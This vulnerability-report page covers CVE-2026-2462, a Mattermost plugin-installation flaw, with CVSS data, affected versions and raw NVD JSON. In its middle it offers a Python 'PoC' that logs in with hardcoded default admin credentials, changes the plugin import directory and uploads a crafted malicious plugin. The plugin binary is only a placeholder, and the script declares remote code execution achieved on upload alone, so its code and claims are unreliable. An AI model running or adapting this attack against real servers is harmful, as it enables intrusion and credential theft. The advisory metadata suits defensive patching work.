Security Vulnerability Report
中文
CVE-2026-2462 CVSS 6.6 MEDIUM

CVE-2026-2462

Published: 2026-03-16 14:19:30
Last Modified: 2026-03-18 18:31:46

Description

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to restrict plugin installation on CI test instances with default admin credentials which allows an unauthenticated attacker to achieve remote code execution and exfiltrate sensitive configuration data including AWS and SMTP credentials via uploading a malicious plugin after changing the import directory. Mattermost Advisory ID: MMSA-2025-00528

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.3.x <= 11.3.0
Mattermost 11.2.x <= 11.2.2
Mattermost 10.11.x <= 10.11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-2462 PoC - Mattermost Malicious Plugin Upload # Note: For authorized security testing only import requests import tarfile import io import json import sys TARGET_URL = "http://target-mattermost-instance.com" USERNAME = "admin" PASSWORD = "Password1!" def create_malicious_plugin(): """Create a malicious Mattermost plugin package""" # Plugin manifest manifest = { "id": "malicious-plugin", "name": "Malicious Plugin", "description": "Malicious plugin for CVE-2026-2462", "version": "1.0.0", "server": { "executable": "server/dist/plugin.so" } } # Create tarball tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: # Add manifest manifest_info = tarfile.TarInfo(name='plugin.json') manifest_content = json.dumps(manifest).encode() manifest_info.size = len(manifest_content) tar.addfile(manifest_info, io.BytesIO(manifest_content)) # Add malicious server binary placeholder # In real attack, this would be compiled malicious code server_info = tarfile.TarInfo(name='server/dist/plugin.so') server_content = b'\x7fELF...' # Malicious compiled plugin server_info.size = len(server_content) tar.addfile(server_info, io.BytesIO(server_content)) tar_buffer.seek(0) return tar_buffer.read() def exploit(): """Execute CVE-2026-2462 exploit""" session = requests.Session() # Step 1: Login with default credentials login_url = f"{TARGET_URL}/api/v4/login" login_data = {"login_id": USERNAME, "password": PASSWORD} response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated") # Step 2: Modify plugin import directory settings_url = f"{TARGET_URL}/api/v4/plugins/import_directory" session.put(settings_url, json={"directory": "/tmp/mattermost/plugins"}) print("[+] Modified plugin import directory") # Step 3: Upload malicious plugin plugin_data = create_malicious_plugin() upload_url = f"{TARGET_URL}/api/v4/plugins/upload" response = session.post(upload_url, files={'plugin': ('malicious.tar.gz', plugin_data)}) if response.status_code == 200: print("[+] Malicious plugin uploaded successfully") print("[+] Remote code execution achieved") return True else: print(f"[-] Upload failed: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-2462 PoC - Mattermost Plugin Installation Vulnerability") exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2462", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:30.010", "lastModified": "2026-03-18T18:31:45.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to restrict plugin installation on CI test instances with default admin credentials which allows an unauthenticated attacker to achieve remote code execution and exfiltrate sensitive configuration data including AWS and SMTP credentials via uploading a malicious plugin after changing the import directory. Mattermost Advisory ID: MMSA-2025-00528"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 no restringen la instalación de plugins en instancias de prueba de CI con credenciales de administrador predeterminadas, lo que permite a un atacante no autenticado lograr la ejecución remota de código y exfiltrar datos de configuración sensibles, incluidas las credenciales de AWS y SMTP, mediante la carga de un plugin malicioso después de cambiar el directorio de importación. ID de Aviso de Mattermost: MMSA-2025-00528"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}